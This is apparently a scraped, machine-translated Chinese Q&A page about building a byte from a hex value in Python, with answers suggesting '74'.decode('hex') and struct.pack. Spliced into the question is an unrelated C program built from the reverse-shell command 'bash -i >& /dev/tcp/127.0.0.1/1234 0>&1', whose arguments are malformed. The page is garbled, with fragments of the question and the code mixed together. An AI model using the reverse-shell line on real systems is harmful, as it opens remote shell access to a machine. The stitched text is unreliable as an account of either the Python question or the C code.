我正在尝试从十六进制手动构建一个字节:
*#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(){
char *prog = "/bin/bash";
/*bash -i >& /dev/tcp/127.0.0.1/1234 0>&1*/
char *args[5] = {"/bin/bash", "-i", ">&", "/dev/tcp/127.0.0.1 /1234","0>&1"};
execv(prog, args);
return 0;
}
是否可以将>>> '\x74'
't'
>>> hex(116)
'0x74'
>>> hex(116)[1:]
'x74'
>>> '\\' + hex(116)[1:]
'\\x74'
>>>
精确地创建为字节?
不使用魔法\x74
。
chr()
答案 0 :(得分:1)
您还可以执行'74'.decode('hex')
。
输出:
>>> '74'.decode('hex')
't'
答案 1 :(得分:0)
也许您正在寻找struct.pack
:
In [210]: import struct
In [211]: struct.pack('1B', 0x74)
Out[211]: 't'